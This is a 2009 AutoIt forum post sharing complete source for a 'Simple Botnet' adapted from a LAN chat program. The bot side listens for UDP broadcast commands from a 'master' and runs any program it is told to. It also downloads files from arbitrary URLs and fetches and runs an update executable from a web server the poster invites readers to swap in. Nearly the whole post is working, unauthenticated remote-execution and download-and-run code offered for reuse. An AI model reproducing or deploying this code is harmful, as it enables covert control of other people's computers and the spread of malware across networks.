CircusMusic Posted March 13, 2009 Posted March 13, 2009 I wanted to post this in the example forum but apparently did not have permissions to.. This is my modification to Javascript_Freak's Simple Lan Chat code I've made it into a little lan botnet.... just for kicks on a slow Friday afternoon at work... clients can update on command by downloading exe off of a website (edit for your use...) following commands are accepted: <version> - lists client's version <update> - update clients <die> - close all clients hello - all clients will repond <run>c:\app.exe - runs program specified after the <run> (no space between <run> and path/exe) <exec>c:\app.exe - same as run except uses ShellExecute <download>http://google.ca/blah.exe - download file server: expandcollapse popup;~ ********************** ;~ Simple Botnet ;~ By CircusMusic ;~ version 1.00 ;~ ********************** ;~ base code: ; ********************* ; SIMPLE LAN Chat ; By Javascript_Freek ; version 1.4b ; ********************* #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <ListViewConstants.au3> #include <ButtonConstants.au3> #include <WindowsConstants.au3> #include <GuiListView.au3> #include <File.au3> sleep(5000);give some time for previous version to exit when updating Opt("GUIOnEventMode", 1) Global $reachserver, $reachdata, $linedata, $chatarea, $usersonline, $lanchat_gui, $username, $slaveonce global $cmdaccepted = 0 global $version = "V1-00" $slaveonce =0 ; GETS IP ADDRESS AND DECLARES A VARIABLE $varIP = @IPAddress1 Global $username $username = $varIP & "-slave" ; STARTS UP UDP UDPStartup() ; CREATES A SOCKET BOUND TO AN INCOMING CONNECTION $reachserver = UDPBind($varIP, 65335) Sleep(1000) ; SPLITS IP ADDRESS AND DECARES VARIABLES $divideIP = StringSplit($varIP, ".") $newaddress = $divideIP[1] & "." & $divideIP[2] & "." & $divideIP[3] & "." & "255" ; OPENS THE SOCKET CONNECTED TO AN EXITISING SERVER USING YOUR SPLIT UP IP ADDRESS $reachcast = UDPOpen($newaddress, 65335) sendmsg("connected") While 1 ;RECIEVING THE DATA FROM AN OPEN SOCKET $reachdata = UDPRecv($reachserver, 512) ; YOU RECEIVED SUCCESSFULL, SO RUN THIS If $reachdata <> "" Then $tmp = StringSplit($reachdata, "|") $linedata = $tmp[2] ; If the user who typed the message is you... call this function! If StringInStr($linedata, $username) = 0 And StringInStr($tmp[1], ".") <> 4 Then $str = StringSplit($linedata, "|") $last = $str[0] if $str[$last] == "master" Then if $tmp[1] == "hello" Then sendmsg("connected") $cmdaccepted =1 endif if $tmp[1] == "<die>" Then sendmsg("disconnected") quit() endif if $tmp[1] == "<version>" Then sendmsg($version) $cmdaccepted =1 EndIf if StringRegExp($tmp[1], "<run>", 0) = 1 Then $ranit = run(StringTrimLeft($tmp[1],5)) if $ranit == 0 Then sendmsg("error") else sendmsg("ran " & StringTrimLeft($tmp[1],5)) EndIf $cmdaccepted =1 EndIf if StringRegExp($tmp[1], "<exec>", 0) = 1 Then $execit = ShellExecute(StringTrimLeft($tmp[1], 6)) if $execit == 0 Then sendmsg("error") else sendmsg("exec " & StringTrimLeft($tmp[1], 6)) EndIf $cmdaccepted =1 EndIf if StringRegExp($tmp[1], "<update>", 0) = 1 Then sendmsg("updating " & StringTrimLeft($tmp[1], 8)) $downloadit = InetGet("http://google.ca/client.exe", @AppDataDir & "\" & $version & ".client.exe", 1, 0) ; change this to your server if $downloadit == 0 Then sendmsg("Error downloading") FileDelete(@AppDataDir & "\" & $version & ".client.exe") Else $runupdate = run(@AppDataDir & "\" & $version & ".client.exe") if $runupdate == 0 Then sendmsg("Error running update") Else sleep(1000) quit() EndIf EndIf $cmdaccepted =1 EndIf if StringRegExp($tmp[1], "<download>", 0) = 1 Then $filetoget = StringTrimLeft($tmp[1], 10) $temp = StringSplit($filetoget, "/") $last = $temp[0] $downloadit = InetGet($filetoget, @AppDataDir & "\" & $temp[$last], 1, 0) if $downloadit == 0 Then sendmsg("error downloading") FileDelete(@AppDataDir & "\" & $temp[$last]) Else sendmsg("downloaded " & StringTrimLeft($tmp[1], 6)) EndIf $cmdaccepted =1 EndIf if $cmdaccepted == 0 Then sendmsg("unreconized") EndIf EndIf $cmdaccepted = 0 EndIf EndIf WEnd ;FUNCTION TO SEND MESSAGES Func sendmsg($command) if $command == "connected" Then UDPSend($reachcast, "Connected " & "|" & $username) Else UDPSend($reachcast, $command & "|" & $username) EndIf EndFunc ; QUITTING PROGRAM FUNCTION Func quit() ;~ Sleep(1000) ;why was this needed? made exiting seem "laggy" UDPCloseSocket($varIP) UDPShutdown() Exit EndFunc client: expandcollapse popup;~ ********************** ;~ Simple Botnet ;~ By CircusMusic ;~ version 1.00 ;~ ********************** ;~ base code: ; ********************* ; SIMPLE LAN Chat ; By Javascript_Freek ; version 1.4b ; ********************* #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <ListViewConstants.au3> #include <ButtonConstants.au3> #include <WindowsConstants.au3> #include <GuiListView.au3> #include <File.au3> Opt("GUIOnEventMode", 1) global $version = "V1.00" Global $reachserver, $reachdata, $linedata, $chatarea, $usersonline, $lanchat_gui, $username ; CREATE THE GUI $lanchat_gui = GUICreate("Simple Botnet " & $version, 380, 345, -1, -1) Global $username ; LOGGED IN AS $username = "master" ; CHAT AREA $chatarea = GUICtrlCreateListView("", 8, 32, 365, 257, $LVS_LIST, $WS_EX_CLIENTEDGE) _GUICtrlListView_SetColumnWidth($chatarea, 0, 100) _GUICtrlListView_SetExtendedListViewStyle($chatarea, $LVS_EX_FULLROWSELECT) _GUICtrlListView_SetView($chatarea, 3) ; THE INPUT OF YOUR MSGS $input = GUICtrlCreateInput("", 8, 296, 250, 21) ; SEND BUTTON $Button1 = GUICtrlCreateButton("send", 270, 296, 105, 21, 0) GUICtrlSetOnEvent(-1, "sendmsg") ; MENU $nFileMenu = GUICtrlCreateMenu("File") $nExititem = GUICtrlCreateMenuItem("Exit", $nFileMenu) GUICtrlSetOnEvent(-2, "quit") $aFileMenu = GUICtrlCreateMenu("About") $aAboutitem = GUICtrlCreateMenuItem("About", $aFileMenu) GUICtrlSetOnEvent(-3, "about") $cFileMenu = GUICtrlCreateMenu("Commands") $cUpdateitem = GUICtrlCreateMenuItem("Update", $cFileMenu) GUICtrlSetOnEvent($cUpdateitem, "updateclients") $ckillitem = GUICtrlCreateMenuItem("kill", $cFileMenu) GUICtrlSetOnEvent($ckillitem, "killclients") $cversionitem = GUICtrlCreateMenuItem("version", $cFileMenu) GUICtrlSetOnEvent($cversionitem, "clientversions") ; ALLOWS THE PROGRAM TO CLOSE GUISetOnEvent($GUI_EVENT_CLOSE, "quit") GUISetState() ; GETS IP ADDRESS AND DECLARES A VARIABLE $varIP = @IPAddress1 ; STARTS UP UDP UDPStartup() ; CREATES A SOCKET BOUND TO AN INCOMING CONNECTION $reachserver = UDPBind($varIP, 65335) Sleep(1000) ; SPLITS IP ADDRESS AND DECARES VARIABLES $divideIP = StringSplit($varIP, ".") $newaddress = $divideIP[1] & "." & $divideIP[2] & "." & $divideIP[3] & "." & "255" ; OPENS THE SOCKET CONNECTED TO AN EXITISING SERVER USING YOUR SPLIT UP IP ADDRESS $reachcast = UDPOpen($newaddress, 65335) While 1 ;RECIEVING THE DATA FROM AN OPEN SOCKET $reachdata = UDPRecv($reachserver, 512) ; YOU RECEIVED SUCCESSFULL, SO RUN THIS If $reachdata <> "" Then $tmp = StringSplit($reachdata, "|") $linedata = $tmp[2] ; If the user who typed the message is you... call this function! If StringInStr($linedata, $username) = 0 And StringInStr($tmp[1], ".") <> 4 Then $str = StringSplit($linedata, "|") $last = $str[0] _GUICtrlListView_AddItem($chatarea, $str[$last] & " says: " & $tmp[1]) EndIf EndIf ; SETTING THE HOTKEY OF SENDING MSGS BY PRESSING ENTER HotKeySet("{ENTER}", "sendmsg") Sleep(50) WEnd ;FUNCTION TO SEND MESSAGES Func sendmsg() If GUICtrlRead($input) = "" Then Msgbox(64, "Error", "You did not send anything.") Else UDPSend($reachcast, GUICtrlRead($input) & "|" & $username) _GUICtrlListView_AddItem($chatarea, $username & " says: " & GUICtrlRead($input)) Endif GUICtrlSetData($input, "") _GUICtrlListView_Scroll($chatarea, 0, 150) EndFunc ; QUITTING PROGRAM FUNCTION Func quit() ;~ Sleep(1000) ;why was this needed? made exiting seem "laggy" UDPCloseSocket($varIP) UDPShutdown() Exit EndFunc ; ABOUT THIS PROGRAM MESSAGE BOX Func about() MsgBox(64,"About Simple Botnet " & $version,"hacked from Simple LAN Chat (http://www.autoitscript.com/forum/index.php?showtopic=89099)" & @LF & @LF & "send commands through text 'chat'. Bots will respond if the command was accepted or not") EndFunc Func updateclients() UDPSend($reachcast, "<update>|" & $username) EndFunc Func killclients() UDPSend($reachcast, "<die>|" & $username) EndFunc Func clientversions() UDPSend($reachcast, "<version>|" & $username) EndFunc
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now